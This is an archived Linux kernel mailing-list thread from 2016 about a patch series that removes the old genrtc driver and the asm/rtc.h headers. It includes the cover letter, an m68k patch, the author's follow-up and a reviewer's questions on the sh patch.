Date: Thu, 28 Apr 2016 00:34:14 +0200
Lines: 79
Approved: news@gmane.org
Message-ID: <1461796470-1291527-1-git-send-email-arnd@arndb.de>
NNTP-Posting-Host: plane.gmane.org
X-Trace: ger.gmane.org 1461797528 5559 80.91.229.3 (27 Apr 2016 22:52:08 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Wed, 27 Apr 2016 22:52:08 +0000 (UTC)
Cc: geert@linux-m68k.org, deller@gmx.de, benh@kernel.crashing.org,
	mpe@ellerman.id.au, dalias@libc.org, dhowells@redhat.com,
	linux-alpha@vger.kernel.org, a.zummo@towertech.it,
	linux-kernel@vger.kernel.org, linux-parisc@vger.kernel.org,
	linuxppc-dev@lists.ozlabs.org, linux-sh@vger.kernel.org,
	linux-m68k@lists.linux-m68k.org, rtc-linux@googlegroups.com,
	linux-arch@vger.kernel.org
To: Alexandre Belloni <alexandre.belloni@free-electrons.com>
Original-X-From: linux-m68k-owner@vger.kernel.org Thu Apr 28 00:52:02 2016
Return-path: <linux-m68k-owner@vger.kernel.org>
Envelope-to: glpm-linux-m68k@plane.gmane.org
Original-Received: from vger.kernel.org ([209.132.180.67])
	by plane.gmane.org with esmtp (Exim 4.69)
	(envelope-from <linux-m68k-owner@vger.kernel.org>)
	id 1avYJN-0001Ze-Eg
	for glpm-linux-m68k@plane.gmane.org; Thu, 28 Apr 2016 00:52:01 +0200
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org via listexpand
	id S1753295AbcD0Wvn (ORCPT <rfc822;glpm-linux-m68k@m.gmane.org>);
	Wed, 27 Apr 2016 18:51:43 -0400
Original-Received: from mout.kundenserver.de ([212.227.17.24]:62600 "EHLO
	mout.kundenserver.de" rhost-flags-OK-OK-OK-OK) by vger.kernel.org
	with ESMTP id S1753263AbcD0Wvl (ORCPT
	<rfc822;linux-m68k@lists.linux-m68k.org>);
	Wed, 27 Apr 2016 18:51:41 -0400
Original-Received: from wuerfel.lan. ([78.42.132.4]) by mrelayeu.kundenserver.de
 (mreue104) with ESMTPA (Nemesis) id 0LalbM-1bOExz11NQ-00kOo4; Thu, 28 Apr
 2016 00:34:47 +0200
X-Mailer: git-send-email 2.7.0
X-Provags-ID: V03:K0:8qzKzxrkvx8epe+FI+RhzoZiSDNVwD8P7BchF1Q4GnCEtosyCsA
 NglLML4dcHGkv1JeEpmVQT3+Ezi0bDZ+G/3xxefVAUr7wVU84dnh0Bw2Nh3mQGrFftOZ8kR
 i9RyQ+wb82ZPJ1XNPLWsTSQwAfUrzRRh4R8HTIv0nPvhM2/ktwNaKsvknrGj1IVOKCVAcNm
 Ckhflu0yUKMr/vpxSebvQ==
X-UI-Out-Filterresults: notjunk:1;V01:K0:yX15tjW3WV8=:u4RIySGyShkj+Qz2M5uwe5
 9H3vL0QEQKbmxavmpEu8NgToTag3d5Mphi3I1AQg5BBCM30l2dAmxYAPDwqoLKqmvYoEAQNBM
 tq0N9uqeAwKiPaMyipSlRVX+pbucczAAebacmGYgnUMvdxLkm4pwK0EJS3X6Yxn7CyO8C488u
 5qgaDw+MY00bsjV+5cpv7CWAH88lTjlZZJPrraz7xU2w1Xm+9jJVTW+vuaVoutnFniETmGDl1
 hW7zlu9BZA3CGhPUOZGYy1etshF79iLte8nPRp32am1oLWxzTHm8cS78VGfgdVy8691fjGAZE
 TJJ7bkfjRNFxCxPjp100qVBIQHqj0KtB5Qnhr20DezEKu4eoA2n6KRY99sLDTRh5qiZbiQq1A
 3y3JXzLKRf2syLvO1NtVlsLZYePUvj1jmx1ah6L84IQ88kPYDWDl7bvZDmQVv8B0lXtIzAmox
 yqMv2C20GPYEVA1mj9VpwCyJBaV2Fv0kxKFNFdGEFJORUuNua/SlvIWi/dFKeFGmdzYWGkHF+
 ipUTDvbUtiVxWL0kK91bIKdWQB5VOL5e9VBD37l7XydK8OuuHPeNSIPsHe1QpdgBxReHu2IXp
 Q/8gblbgRTk1nLwHYdRoTVUnMRFLnG5QHPfJwGmuE2ANM8L0SxxPslqMCewT5LYi1w0WPQUpv
 HWYeVlZKpL4TLKQQ5DH2GKXcMciijjH6KvnnVZiU4144i7sA8gEUMB8BsYtJ5QiQxEyc=
Original-Sender: linux-m68k-owner@vger.kernel.org
Precedence: bulk
List-ID: <linux-m68k.vger.kernel.org>
X-Mailing-List: linux-m68k@vger.kernel.org
Xref: news.gmane.org gmane.linux.ports.m68k:8571 gmane.linux.ports.alpha:3693 gmane.linux.kernel:2210033 gmane.linux.ports.parisc:26721 gmane.linux.ports.ppc64.devel:126524 gmane.linux.ports.sh.devel:53879 gmane.linux.kernel.cross-arch:31805
Archived-At: <http://permalink.gmane.org/gmane.linux.ports.m68k/8571>

I ended up stuffing the two patch series into one, as they are now
more dependent on one another. This now thoroughly removes the
genrtc driver including the asm/rtc.h headers it uses. For all
architectures that still have a meaningful asm/rtc.h, this goes
through two stages:

1) make the rtc-generic implementation independent of asm/rtc.h
2) remove the asm/rtc.h header and disallow the gen_rtc driver

As the last step, the driver itself gets removed.

	Arnd

 arch/alpha/include/asm/rtc.h          |   1 -
 arch/alpha/kernel/core_marvel.c       |   1 -
 arch/alpha/kernel/rtc.c               |   6 +-
 arch/frv/include/asm/mc146818rtc.h    |  16 -
 arch/h8300/include/asm/mc146818rtc.h  |   9 -
 arch/ia64/include/asm/mc146818rtc.h   |  10 -
 arch/m68k/amiga/config.c              |   1 -
 arch/m68k/apollo/config.c             |   1 -
 arch/m68k/bvme6000/config.c           |   1 -
 arch/m68k/hp300/config.c              |   2 +-
 arch/m68k/include/asm/rtc.h           |  79 -----
 arch/m68k/kernel/time.c               |  49 +++-
 arch/m68k/mac/config.c                |   3 +-
 arch/m68k/mac/misc.c                  |   1 -
 arch/m68k/mvme147/config.c            |   1 -
 arch/m68k/mvme16x/config.c            |   1 -
 arch/m68k/q40/config.c                |   2 +-
 arch/m68k/sun3/config.c               |   1 -
 arch/m68k/sun3/intersil.c             |   2 +-
 arch/m68k/sun3x/time.c                |   2 +-
 arch/mips/sni/time.c                  |   1 -
 arch/mn10300/include/asm/rtc.h        |   2 -
 arch/mn10300/kernel/rtc.c             |   2 +-
 arch/parisc/include/asm/mc146818rtc.h |   9 -
 arch/parisc/include/asm/rtc.h         | 131 ---------
 arch/parisc/kernel/time.c             |  36 ++-
 arch/powerpc/include/asm/rtc.h        |  78 -----
 arch/powerpc/kernel/time.c            |  29 +-
 arch/powerpc/platforms/Kconfig        |  11 +
 arch/powerpc/platforms/ps3/time.c     |   2 +-
 arch/sh/include/asm/mc146818rtc.h     |   7 -
 arch/sh/include/asm/rtc.h             |  11 -
 arch/sh/kernel/time.c                 |  32 +-
 arch/x86/include/asm/mc146818rtc.h    |   1 -
 arch/x86/include/asm/rtc.h            |   1 -
 arch/x86/kernel/hpet.c                |   3 +-
 arch/x86/kernel/rtc.c                 |   3 +-
 arch/x86/platform/efi/efi.c           |   1 -
 drivers/acpi/acpi_cmos_rtc.c          |   2 +-
 drivers/base/power/trace.c            |   6 +-
 drivers/char/Kconfig                  |  26 --
 drivers/char/Makefile                 |   1 -
 drivers/char/genrtc.c                 | 539 ----------------------------------
 drivers/rtc/rtc-cmos.c                |  12 +-
 drivers/rtc/rtc-generic.c             |  36 +--
 drivers/rtc/rtc-mrst.c                |   2 +-
 include/asm-generic/rtc.h             | 247 ----------------
 include/linux/mc146818rtc.h           | 194 ++++++++++++
 48 files changed, 358 insertions(+), 1256 deletions(-)

 [PATCH v3 01/16] rtc: cmos: remove empty asm/mc146818rtc.h files
 [PATCH v3 02/16] rtc: cmos: move mc146818rtc code out of
 [PATCH v3 03/16] char/genrtc: x86: remove remnants of asm/rtc.h
 [PATCH v3 04/16] rtc: sh: provide rtc_class_ops directly
 [PATCH v3 05/16] char/genrtc: remove alpha support
 [PATCH v3 06/16] char/genrtc: remove mn10300 support
 [PATCH v3 07/16] rtc: parisc: provide rtc_class_ops directly
 [PATCH v3 08/16] char/genrtc: remove parisc support
 [PATCH v3 09/16] rtc: m68k: provide rtc_class_ops directly
 [PATCH v3 10/16] rtc: m68k: provide ioctl for q40
 [PATCH v3 11/16] char/genrtc: remove m68k support
 [PATCH v3 12/16] rtc: powerpc: provide rtc_class_ops directly
 [PATCH v3 13/16] char/genrtc: remove powerpc support
 [PATCH v3 14/16] rtc: generic: remove get_rtc_time/set_rtc_time
 [PATCH v3 15/16] char/genrtc: remove asm-generic/rtc.h from mips
 [PATCH v3 16/16] char/genrtc: remove the rest of the driver

From - Thu Nov 08 21:38:50 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Arnd Bergmann <arnd@arndb.de>
Newsgroups: gmane.linux.kernel.cross-arch,gmane.linux.ports.alpha,gmane.linux.kernel,gmane.linux.ports.parisc,gmane.linux.ports.ppc64.devel,gmane.linux.ports.sh.devel
Subject: [PATCH v3 09/16] rtc: m68k: provide rtc_class_ops directly
Date: Thu, 28 Apr 2016 00:34:23 +0200
Lines: 73
Approved: news@gmane.org
Message-ID: <1461796470-1291527-10-git-send-email-arnd@arndb.de>
References: <1461796470-1291527-1-git-send-email-arnd@arndb.de>
NNTP-Posting-Host: plane.gmane.org
X-Trace: ger.gmane.org 1461797529 5565 80.91.229.3 (27 Apr 2016 22:52:09 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Wed, 27 Apr 2016 22:52:09 +0000 (UTC)
Cc: Arnd Bergmann <arnd@arndb.de>, geert@linux-m68k.org, deller@gmx.de,
	benh@kernel.crashing.org, mpe@ellerman.id.au, dalias@libc.org,
	dhowells@redhat.com, linux-alpha@vger.kernel.org,
	a.zummo@towertech.it, linux-kernel@vger.kernel.org,
	linux-parisc@vger.kernel.org, linuxppc-dev@lists.ozlabs.org,
	linux-sh@vger.kernel.org, linux-m68k@lists.linux-m68k.org,
	rtc-linux@googlegroups.com, linux-arch@vger.kernel.org
To: Alexandre Belloni <alexandre.belloni@free-electrons.com>
Original-X-From: linux-arch-owner@vger.kernel.org Thu Apr 28 00:52:06 2016
Return-path: <linux-arch-owner@vger.kernel.org>
Envelope-to: glka-linux-arch@plane.gmane.org
Original-Received: from vger.kernel.org ([209.132.180.67])
	by plane.gmane.org with esmtp (Exim 4.69)
	(envelope-from <linux-arch-owner@vger.kernel.org>)
	id 1avYJR-0001Ze-G0
	for glka-linux-arch@plane.gmane.org; Thu, 28 Apr 2016 00:52:05 +0200
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org via listexpand
	id S1753465AbcD0Wvt (ORCPT <rfc822;glka-linux-arch@m.gmane.org>);
	Wed, 27 Apr 2016 18:51:49 -0400
Original-Received: from mout.kundenserver.de ([217.72.192.73]:59797 "EHLO
	mout.kundenserver.de" rhost-flags-OK-OK-OK-OK) by vger.kernel.org
	with ESMTP id S1753452AbcD0Wvr (ORCPT
	<rfc822;linux-arch@vger.kernel.org>); Wed, 27 Apr 2016 18:51:47 -0400
Original-Received: from wuerfel.lan. ([78.42.132.4]) by mrelayeu.kundenserver.de
 (mreue104) with ESMTPA (Nemesis) id 0LsywU-1bgSL00CeA-012cRm; Thu, 28 Apr
 2016 00:34:52 +0200
X-Mailer: git-send-email 2.7.0
In-Reply-To: <1461796470-1291527-1-git-send-email-arnd@arndb.de>
X-Provags-ID: V03:K0:gEd2LWA4cgbBbC2AaK4LnxKv5LHzeMKq6B5eAUBz2OxAYSbZNeT
 5vqs631zkyGU+QhTdTk3PfxMgF9LqhXz9ynaY+NwHVF6xEqGj+G0o0FQ4FGpdFOOjFNN6bw
 NQK2RzmgajRQ8hZwnKJI5hnpRlfCKIMKB9l2XbToC/sonTtjTpehmgNt0WAwFBUBFWZEMAP
 /Nq15rf2eoMXgCDuC/s8g==
X-UI-Out-Filterresults: notjunk:1;V01:K0:NRFZ4jWArYE=:5z2lcgI8LiliwEXqpNb0ym
 Qz8vRNah1J32hJb46JnsWIEpAO9QV0FybDI26sg7Sb/rMoMWcQlLG8EbhaP3qxNiugEOE3VC0
 Y5Bpl/qNHfd23WDJYbq+Oxze8XAWYto4QUtBCq1NrZrUqeWjpxm7w5wREslbhvBV1AJZ8ReH8
 eP/kvFl5cKoAH1+HSa+K2dsEP3IXUT4eOs5qFv89s6MLwOA8435cAjwjouotTQzxzwxJAf4xB
 JQHIeW4VZLlqtr0D+aY+CaFFgcsvhMf4KBIMoLNVfKYgb8fDK0PskBC70BTvA09b05Xs5WLUE
 GsT8C5c88yWba0nRlMFBDxEmY0OX6koqjQ2604yBI26xQI3OttFQb/o6JkAksXnU7uyvP2IVl
 xj2WEUqTtOXxDf5rzzAOKZzU8LcFyvHK8V5rnCglbseWEg+5vgehQxFcLymUC6QV7o70SPAEl
 621Nk56gAjaOADz50nOcBPvXfzRcqA0DfX6uGSG7bJhOkwTKVCxjoox+UhONuBh8G5vVEepFg
 seXf672GxDela/+4gGE78/qCswMUcRAIAlR1tEdniH+cpi9p4xiW/p8QN086BHSEPbYG6lKF7
 V7t3N3CeaHuJWPmeeaYxNkOZWyxCjRErsBOpnc1H1lJOVJD/GbF1NU9j+LkroSQ3Q5DHH0stT
 GvotIFD6wXyWUJBuz51dbAefsvVF+gAylC1yd0S4Tsdksp2t0MDCwppjSRw5c6taoX6w=
Original-Sender: linux-arch-owner@vger.kernel.org
Precedence: bulk
List-ID: <linux-arch.vger.kernel.org>
X-Mailing-List: linux-arch@vger.kernel.org
Xref: news.gmane.org gmane.linux.kernel.cross-arch:31806 gmane.linux.ports.alpha:3694 gmane.linux.kernel:2210034 gmane.linux.ports.parisc:26722 gmane.linux.ports.ppc64.devel:126525 gmane.linux.ports.sh.devel:53880
Archived-At: <http://permalink.gmane.org/gmane.linux.kernel.cross-arch/31806>

The rtc-generic driver provides an architecture specific
wrapper on top of the generic rtc_class_ops abstraction,
and m68k has another abstraction on top, which is a bit
silly.

This changes the m68k rtc-generic device to provide its
rtc_class_ops directly, to reduce the number of layers
by one.

Signed-off-by: Arnd Bergmann <arnd@arndb.de>
---
 arch/m68k/kernel/time.c   | 24 ++++++++++++++++++++++--
 drivers/rtc/rtc-generic.c |  2 +-
 2 files changed, 23 insertions(+), 3 deletions(-)

diff --git a/arch/m68k/kernel/time.c b/arch/m68k/kernel/time.c
index 3857737e3958..80e024a10115 100644
--- a/arch/m68k/kernel/time.c
+++ b/arch/m68k/kernel/time.c
@@ -86,7 +86,24 @@ void read_persistent_clock(struct timespec *ts)
 	}
 }
 
-#ifdef CONFIG_ARCH_USES_GETTIMEOFFSET
+#if defined(CONFIG_ARCH_USES_GETTIMEOFFSET) && IS_ENABLED(CONFIG_RTC_DRV_GENERIC)
+static int rtc_generic_get_time(struct device *dev, struct rtc_time *tm)
+{
+	mach_hwclk(0, tm);
+	return rtc_valid_tm(tm);
+}
+
+static int rtc_generic_set_time(struct device *dev, struct rtc_time *tm)
+{
+	if (mach_hwclk(1, tm) < 0)
+		return -EOPNOTSUPP;
+	return 0;
+}
+
+static const struct rtc_class_ops generic_rtc_ops = {
+	.read_time = rtc_generic_get_time,
+	.set_time = rtc_generic_set_time,
+};
 
 static int __init rtc_init(void)
 {
@@ -95,7 +112,10 @@ static int __init rtc_init(void)
 	if (!mach_hwclk)
 		return -ENODEV;
 
-	pdev = platform_device_register_simple("rtc-generic", -1, NULL, 0);
+	/* or just call devm_rtc_device_register instead? */
+	pdev = platform_device_register_data(NULL, "rtc-generic", -1,
+					     &generic_rtc_ops,
+					     sizeof(generic_rtc_ops));
 	return PTR_ERR_OR_ZERO(pdev);
 }
 
diff --git a/drivers/rtc/rtc-generic.c b/drivers/rtc/rtc-generic.c
index 92b5e02a3750..5c82bae73b9c 100644
--- a/drivers/rtc/rtc-generic.c
+++ b/drivers/rtc/rtc-generic.c
@@ -9,7 +9,7 @@
 #include <linux/platform_device.h>
 #include <linux/rtc.h>
 
-#if defined(CONFIG_M68K) || defined(CONFIG_PPC)
+#if defined(CONFIG_PPC)
 #include <asm/rtc.h>
 
 static int generic_get_time(struct device *dev, struct rtc_time *tm)
-- 
2.7.0


From - Thu Nov 08 21:38:50 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Arnd Bergmann <arnd@arndb.de>
Newsgroups: gmane.linux.ports.m68k,gmane.linux.ports.ppc64.devel,gmane.linux.kernel.cross-arch,gmane.linux.ports.parisc,gmane.linux.ports.sh.devel,gmane.linux.ports.alpha,gmane.linux.kernel
Subject: Re: [PATCH v3 09/16] rtc: m68k: provide rtc_class_ops directly
Date: Thu, 28 Apr 2016 01:04:23 +0200
Lines: 11
Approved: news@gmane.org
Message-ID: <4642144.cyaFZ6JYuF@wuerfel>
References: <1461796470-1291527-1-git-send-email-arnd@arndb.de> <1461796470-1291527-10-git-send-email-arnd@arndb.de>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset="us-ascii"
Content-Transfer-Encoding: 7Bit
X-Trace: ger.gmane.org 1461798312 16795 80.91.229.3 (27 Apr 2016 23:05:12 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Wed, 27 Apr 2016 23:05:12 +0000 (UTC)
Cc: Alexandre Belloni <alexandre.belloni@free-electrons.com>,
	linux-arch@vger.kernel.org, a.zummo@towertech.it, dalias@libc.org,
	linux-parisc@vger.kernel.org, linux-sh@vger.kernel.org,
	deller@gmx.de, linux-alpha@vger.kernel.org,
	linux-kernel@vger.kernel.org, dhowells@redhat.com,
	linux-m68k@lists.linux-m68k.org, geert@linux-m68k.org,
	rtc-linux@googlegroups.com
To: linuxppc-dev@lists.ozlabs.org
Original-X-From: linux-m68k-owner@vger.kernel.org Thu Apr 28 01:05:03 2016
Return-path: <linux-m68k-owner@vger.kernel.org>
Envelope-to: glpm-linux-m68k@plane.gmane.org
Original-Received: from vger.kernel.org ([209.132.180.67])
	by plane.gmane.org with esmtp (Exim 4.69)
	(envelope-from <linux-m68k-owner@vger.kernel.org>)
	id 1avYVy-0005Cx-PC
	for glpm-linux-m68k@plane.gmane.org; Thu, 28 Apr 2016 01:05:03 +0200
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org via listexpand
	id S1751038AbcD0XFA (ORCPT <rfc822;glpm-linux-m68k@m.gmane.org>);
	Wed, 27 Apr 2016 19:05:00 -0400
Original-Received: from mout.kundenserver.de ([212.227.17.24]:57458 "EHLO
	mout.kundenserver.de" rhost-flags-OK-OK-OK-OK) by vger.kernel.org
	with ESMTP id S1751731AbcD0XE7 (ORCPT
	<rfc822;linux-m68k@lists.linux-m68k.org>);
	Wed, 27 Apr 2016 19:04:59 -0400
Original-Received: from wuerfel.localnet ([78.42.132.4]) by mrelayeu.kundenserver.de
 (mreue103) with ESMTPSA (Nemesis) id 0MIxJ3-1axUJR2Hmr-002Tt5; Thu, 28 Apr
 2016 01:04:28 +0200
User-Agent: KMail/4.11.5 (Linux/3.16.0-10-generic; KDE/4.11.5; x86_64; ; )
In-Reply-To: <1461796470-1291527-10-git-send-email-arnd@arndb.de>
X-Provags-ID: V03:K0:lQmBS3Ee5cBrVuiIWy56k6z3R5YDAjiBjCr5AuTiur3uTjysQsZ
 K/1b3biCWb1j1b9Hh9cYJnUZ3s0YTF0CyKVsxEwBSQgnz2lojvxxoW6cZcRsh6JRj/NaG/X
 45/0nSdhdEMJ4ty28ugoG5iIMsL4YV5G7ZBvLE0PwAXMTIqhIZfSSCKRX47y6OxqGLZQYPe
 akkdLwLIBqznqCG1mLlPA==
X-UI-Out-Filterresults: notjunk:1;V01:K0:kSQ9Lan98vk=:pmV+1LLwrQHBi0zUq0TJJF
 YUG9W4rx6/YxI005quoEgahjbOAahE+5wvBXKrUTjlBnFeXTwoCeWM8YxCRFW6GV/LnBEgoHK
 VtQjwFbMx4ND7M2/xiGZ24YPntXGN6SvVYPaiPn9hJjSj7DJ8BSU+N5J1SpXo2+EvU2Ozm3PT
 U8RFHA9ju/xIpbzTmuWbBN1AfimN8xYTMU8Pu0LB0gAP200CV8xu9mQ7Feljherh5u8KCycCv
 0tQTzRzmVfZdFeQMdlIbU8NX1c8miYpHfkm73VFuFhgZagI4eZTFbl9F2lu4fx5QivJAL25Cr
 r9XQkzP0frGbswGP1cUYiW+lniCrFAEZCV0Mvd7kS8ok37qteNLPN/JE+15yhfQDKRykij496
 BTIkPYnyFR9FBwlXeoS1T+jSsrKbiJRocrM2rA7DWGXApRkv/leeFocRV8NYH2T5xkY1RMpMW
 0kRVgzsGrl32vXRH9JmRgNxxZ/6XVFfmpK0nY8kzYpzgWa/Zttr2QAPkPujN8krQ42IGEIy15
 v1Ag35aTsS+GZCOnLEZi+XBdHks29xZBGUPh+gRoVmohfD5hvQ1i96DqJCb4LVjqR7I11Nl+8
 LcLFUx7z21pJsau+BFcmyRQXW1LKL8jB52DjEEET8/6eA4RQi/l8D+QeqMK6tpJfSiGslKDpF
 kIKuh3RXiTFWQnjpoZIDb2B6ffbAB+9Gxs3kSXnH/9+1+B6DFp1I3KLKbqeyyJRZUDtQqoi9g
 dAuztApZowXeNUtO
Original-Sender: linux-m68k-owner@vger.kernel.org
Precedence: bulk
List-ID: <linux-m68k.vger.kernel.org>
X-Mailing-List: linux-m68k@vger.kernel.org
Xref: news.gmane.org gmane.linux.ports.m68k:8573 gmane.linux.ports.ppc64.devel:126526 gmane.linux.kernel.cross-arch:31807 gmane.linux.ports.parisc:26723 gmane.linux.ports.sh.devel:53882 gmane.linux.ports.alpha:3695 gmane.linux.kernel:2210036
Archived-At: <http://permalink.gmane.org/gmane.linux.ports.m68k/8573>

On Thursday 28 April 2016 00:34:23 Arnd Bergmann wrote:
>                 return -ENODEV;
>  
> -       pdev = platform_device_register_simple("rtc-generic", -1, NULL, 0);
> +       /* or just call devm_rtc_device_register instead? */

Oops, I was planning to remove the comment here.

I probably have to do a v4 anyway, fixed it up locally now.

	Arnd

From - Thu Nov 08 21:38:50 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Rich Felker <dalias@libc.org>
Newsgroups: gmane.linux.ports.m68k,gmane.linux.ports.alpha,gmane.linux.kernel,gmane.linux.ports.parisc,gmane.linux.ports.ppc64.devel,gmane.linux.ports.sh.devel,gmane.linux.kernel.cross-arch
Subject: Re: [PATCH v3 04/16] rtc: sh: provide rtc_class_ops directly
Date: Wed, 27 Apr 2016 19:21:22 -0400
Lines: 123
Approved: news@gmane.org
Message-ID: <20160427232122.GW21636@brightrain.aerifal.cx>
References: <1461796470-1291527-1-git-send-email-arnd@arndb.de>
 <1461796470-1291527-5-git-send-email-arnd@arndb.de>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
X-Trace: ger.gmane.org 1461799348 31892 80.91.229.3 (27 Apr 2016 23:22:28 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Wed, 27 Apr 2016 23:22:28 +0000 (UTC)
Cc: Alexandre Belloni <alexandre.belloni@free-electrons.com>,
	geert@linux-m68k.org, deller@gmx.de, benh@kernel.crashing.org,
	mpe@ellerman.id.au, dhowells@redhat.com,
	linux-alpha@vger.kernel.org, a.zummo@towertech.it,
	linux-kernel@vger.kernel.org, linux-parisc@vger.kernel.org,
	linuxppc-dev@lists.ozlabs.org, linux-sh@vger.kernel.org,
	linux-m68k@lists.linux-m68k.org, rtc-linux@googlegroups.com,
	linux-arch@vger.kernel.org
To: Arnd Bergmann <arnd@arndb.de>
Original-X-From: linux-m68k-owner@vger.kernel.org Thu Apr 28 01:22:26 2016
Return-path: <linux-m68k-owner@vger.kernel.org>
Envelope-to: glpm-linux-m68k@plane.gmane.org
Original-Received: from vger.kernel.org ([209.132.180.67])
	by plane.gmane.org with esmtp (Exim 4.69)
	(envelope-from <linux-m68k-owner@vger.kernel.org>)
	id 1avYmn-0001E7-0s
	for glpm-linux-m68k@plane.gmane.org; Thu, 28 Apr 2016 01:22:25 +0200
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org via listexpand
	id S1752236AbcD0XWX (ORCPT <rfc822;glpm-linux-m68k@m.gmane.org>);
	Wed, 27 Apr 2016 19:22:23 -0400
Original-Received: from 216-12-86-13.cv.mvl.ntelos.net ([216.12.86.13]:57763 "EHLO
	brightrain.aerifal.cx" rhost-flags-OK-OK-OK-OK) by vger.kernel.org
	with ESMTP id S1751019AbcD0XWW (ORCPT
	<rfc822;linux-m68k@lists.linux-m68k.org>);
	Wed, 27 Apr 2016 19:22:22 -0400
Original-Received: from dalias by brightrain.aerifal.cx with local (Exim 3.15 #2)
	id 1avYlm-0003bh-00; Wed, 27 Apr 2016 23:21:22 +0000
Content-Disposition: inline
In-Reply-To: <1461796470-1291527-5-git-send-email-arnd@arndb.de>
User-Agent: Mutt/1.5.21 (2010-09-15)
Original-Sender: linux-m68k-owner@vger.kernel.org
Precedence: bulk
List-ID: <linux-m68k.vger.kernel.org>
X-Mailing-List: linux-m68k@vger.kernel.org
Xref: news.gmane.org gmane.linux.ports.m68k:8574 gmane.linux.ports.alpha:3696 gmane.linux.kernel:2210042 gmane.linux.ports.parisc:26724 gmane.linux.ports.ppc64.devel:126527 gmane.linux.ports.sh.devel:53883 gmane.linux.kernel.cross-arch:31808
Archived-At: <http://permalink.gmane.org/gmane.linux.ports.m68k/8574>

On Thu, Apr 28, 2016 at 12:34:18AM +0200, Arnd Bergmann wrote:
> The rtc-generic driver provides an architecture specific
> wrapper on top of the generic rtc_class_ops abstraction,
> and on sh, that goes through another indirection using
> the rtc_sh_get_time/rtc_sh_set_time functions.
> 
> This changes the sh rtc-generic device to provide its
> rtc_class_ops directly, skipping one of the abstraction
> levels.
> 
> Signed-off-by: Arnd Bergmann <arnd@arndb.de>

Looks ok in principle. Have you tested that it builds? Some questions
inline:

> ---
>  arch/sh/include/asm/rtc.h | 11 -----------
>  arch/sh/kernel/time.c     | 32 +++++++++++++++++++-------------
>  drivers/rtc/rtc-generic.c |  2 +-
>  3 files changed, 20 insertions(+), 25 deletions(-)
> 
> diff --git a/arch/sh/include/asm/rtc.h b/arch/sh/include/asm/rtc.h
> index 52b0c2dba979..f7b010d48af7 100644
> --- a/arch/sh/include/asm/rtc.h
> +++ b/arch/sh/include/asm/rtc.h
> @@ -6,17 +6,6 @@ extern void (*board_time_init)(void);
>  extern void (*rtc_sh_get_time)(struct timespec *);
>  extern int (*rtc_sh_set_time)(const time_t);
>  
> -/* some dummy definitions */
> -#define RTC_BATT_BAD 0x100	/* battery bad */
> -#define RTC_SQWE 0x08		/* enable square-wave output */
> -#define RTC_DM_BINARY 0x04	/* all time/date values are BCD if clear */
> -#define RTC_24H 0x02		/* 24 hour mode - else hours bit 7 means pm */
> -#define RTC_DST_EN 0x01	        /* auto switch DST - works f. USA only */
> -
> -struct rtc_time;
> -unsigned int get_rtc_time(struct rtc_time *);
> -int set_rtc_time(struct rtc_time *);
> -
>  #define RTC_CAP_4_DIGIT_YEAR	(1 << 0)
>  
>  struct sh_rtc_platform_info {
> diff --git a/arch/sh/kernel/time.c b/arch/sh/kernel/time.c
> index d6d0a986c6e9..92cd676970d9 100644
> --- a/arch/sh/kernel/time.c
> +++ b/arch/sh/kernel/time.c
> @@ -50,27 +50,30 @@ int update_persistent_clock(struct timespec now)
>  }
>  #endif
>  
> -unsigned int get_rtc_time(struct rtc_time *tm)
> +static int rtc_generic_get_time(struct device *dev, struct rtc_time *tm)
>  {
> -	if (rtc_sh_get_time != null_rtc_get_time) {

This seems like a functional change -- whereas previously the
null_rtc_get_time case left *tm unchanged, now the function gets
called and junk gets filled in. Is that desired?

> -		struct timespec tv;
> +	struct timespec tv;
>  
> -		rtc_sh_get_time(&tv);
> -		rtc_time_to_tm(tv.tv_sec, tm);
> -	}
> -
> -	return RTC_24H;
> +	rtc_sh_get_time(&tv);
> +	rtc_time_to_tm(tv.tv_sec, tm);
> +	return 0;

Also the return value is changed. Is this correct?

>  }
> -EXPORT_SYMBOL(get_rtc_time);
>  
> -int set_rtc_time(struct rtc_time *tm)
> +static int rtc_generic_set_time(struct device *dev, struct rtc_time *tm)
>  {
>  	unsigned long secs;
>  
>  	rtc_tm_to_time(tm, &secs);
> -	return rtc_sh_set_time(secs);
> +	if (!rtc_sh_set_time || rtc_sh_set_time(secs) < 0)
> +		return -EOPNOTSUPP;
> +
> +	return 0;
>  }
> -EXPORT_SYMBOL(set_rtc_time);

Why checking rtc_sh_set_time for a null pointer? null_rtc_set_time is
not a null pointer but a dummy function that's always safe to call, I
think.

> +
> +static const struct rtc_class_ops rtc_generic_ops = {
> +	.read_time = rtc_generic_get_time,
> +	.set_time = rtc_generic_set_time,
> +};
>  
>  static int __init rtc_generic_init(void)
>  {
> @@ -79,7 +82,10 @@ static int __init rtc_generic_init(void)
>  	if (rtc_sh_get_time == null_rtc_get_time)
>  		return -ENODEV;
>  
> -	pdev = platform_device_register_simple("rtc-generic", -1, NULL, 0);
> +	pdev = platform_device_register_data(NULL, "rtc-generic", -1,
> +					     &rtc_generic_ops,
> +					     sizeof(rtc_generic_ops));
> +

Not a complaint about your patch, but I'd like to get rid of this
platform device and abstraction layer completely since it doesn't seem
like something that can be modeled correctly in device tree. When
you're done cleaning this up, will it be possible to just have rtc
drivers that use whatever generic framework is left, where the right
driver is automatically attached to compatible DT nodes? I'm trying to
move all of arch/sh over to device tree and remove hard-coded platform
devices.

Rich

From - Thu Nov 08 21:38:50 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
